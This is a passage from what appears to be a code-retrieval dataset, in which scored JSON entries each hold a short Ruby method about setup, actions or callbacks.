"0.53580743", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "118932433a8cfef23bb8a921745d6d37", "score": "0.53488183", "text": "def register_action(action); end", "title": "" }, { "docid": "725216eb875e8fa116cd55eac7917421", "score": "0.53475624", "text": "def setup\n @controller.setup\n end", "title": "" }, { "docid": "39c39d6fe940796aadbeaef0ce1c360b", "score": "0.5345627", "text": "def setup_phase; end", "title": "" }, { "docid": "bd03e961c8be41f20d057972c496018c", "score": "0.5343045", "text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end", "title": "" }, { "docid": "c6352e6eaf17cda8c9d2763f0fbfd99d", "score": "0.53417665", "text": "def initial_action=(_arg0); end", "title": "" }, { "docid": "207a668c9bce9906f5ec79b75b4d8ad7", "score": "0.5325395", "text": "def before_setup\n\n end", "title": "" }, { "docid": "669ee5153c4dc8ee81ff32c4cefdd088", "score": "0.5303185", "text": "def ensure_before_and_after; end", "title": "" }, { "docid": "c77ece7b01773fb7f9f9c0f1e8c70332", "score": "0.52847075", "text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end", "title": "" }, { "docid": "1e1e48767a7ac23eb33df770784fec61", "score": "0.52823925", "text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "4ad1208a9b6d80ab0dd5dccf8157af63", "score": "0.5258225", "text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end", "title": "" }, { "docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7", "score": "0.52568495", "text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end", "title": "" }, { "docid": "fc88422a7a885bac1df28883547362a7", "score": "0.52485454", "text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end", "title": "" }, { "docid": "8945e9135e140a6ae6db8d7c3490a645", "score": "0.5244581", "text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.523896", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.523896", "text": "def action; end", "title": "" }, { "docid": "7b3954deb2995cf68646c7333c15087b", "score": "0.52377725", "text": "def after_setup\n end", "title": "" }, { "docid": "1dddf3ac307b09142d0ad9ebc9c4dba9", "score": "0.52329445", "text": "def external_action\n raise NotImplementedError\n end", "title": "" }, { "docid": "5772d1543808c2752c186db7ce2c2ad5", "score": "0.52300864", "text": "def actions(state:)\n raise NotImplementedError\n end", "title": "" }, { "docid": "64a6d16e05dd7087024d5170f58dfeae", "score": "0.52240247", "text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.5222394", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "db0cb7d7727f626ba2dca5bc72cea5a6", "score": "0.52201986", "text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end", "title": "" }, { "docid": "8d7ed2ff3920c2016c75f4f9d8b5a870", "score": "0.5215936", "text": "def pick_action; end", "title": "" }, { "docid": "7bbfb366d2ee170c855b1d0141bfc2a3", "score": "0.5214441", "text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end", "title": "" }, { "docid": "78ecc6a2dfbf08166a7a1360bc9c35ef", "score": "0.5209615", "text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end", "title": "" }, { "docid": "2aba2d3187e01346918a6557230603c7", "score": "0.5208719", "text": "def ac_action(&blk)\n @action = blk\n end", "title": "" }, { "docid": "4c23552739b40c7886414af61210d31c", "score": "0.52043825", "text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end", "title": "" }, { "docid": "6a98e12d6f15af80f63556fcdd01e472", "score": "0.5202707", "text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end", "title": "" }, { "docid": "691d5a5bcefbef8c08db61094691627c", "score": "0.52026737", "text": "def performed(action)\n end", "title": "" }, { "docid": "d56f4ec734e3f3bc1ad913b36ff86130", "score": "0.5201883", "text": "def create_setup\n \n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51963437", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51963437", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "7fca702f2da4dbdc9b39e5107a2ab87d", "score": "0.51913047", "text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end", "title": "" }, { "docid": "063b82c93b47d702ef6bddadb6f0c76e", "score": "0.51793253", "text": "def setup(instance)\n action(:setup, instance)\n end", "title": "" }, { "docid": "9f1f73ee40d23f6b808bb3fbbf6af931", "score": "0.51773065", "text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.5171983", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.5171983", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.5171983", "text": "def setup(resources) ; end", "title": "" }, { "docid": "7a0c9d839516dc9d0014e160b6e625a8", "score": "0.5162638", "text": "def setup(request)\n end", "title": "" }, { "docid": "e441ee807f2820bf3655ff2b7cf397fc", "score": "0.51517797", "text": "def after_setup; end", "title": "" }, { "docid": "1d375c9be726f822b2eb9e2a652f91f6", "score": "0.5143676", "text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end", "title": "" }, { "docid": "c594a0d7b6ae00511d223b0533636c9c", "score": "0.51418954", "text": "def code_action_provider; end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.5140135", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "2fcff037e3c18a5eb8d964f8f0a62ebe", "score": "0.51385164", "text": "def setup(params)\n end", "title": "" }, { "docid": "111fd47abd953b35a427ff0b098a800a", "score": "0.5132199", "text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end", "title": "" }, { "docid": "f2ac709e70364fce188bb24e414340ea", "score": "0.5115455", "text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5112607", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110613", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110613", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110613", "text": "def action\n end", "title": "" }, { "docid": "4c7a1503a86fb26f1e4b4111925949a2", "score": "0.5109795", "text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end", "title": "" }, { "docid": "63849e121dcfb8a1b963f040d0fe3c28", "score": "0.51077193", "text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend", "title": "" }, { "docid": "f04fd745d027fc758dac7a4ca6440871", "score": "0.5105791", "text": "def block_actions options ; end", "title": "" }, { "docid": "0d1c87e5cf08313c959963934383f5ae", "score": "0.51004606", "text": "def on_action(action)\n @action = action\n self\n end", "title": "" }, { "docid": "916d3c71d3a5db831a5910448835ad82", "score": "0.5096437", "text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end", "title": "" }, { "docid": "076c761e1e84b581a65903c7c253aa62", "score": "0.5093091", "text": "def add_callbacks(base); end", "title": "" } ]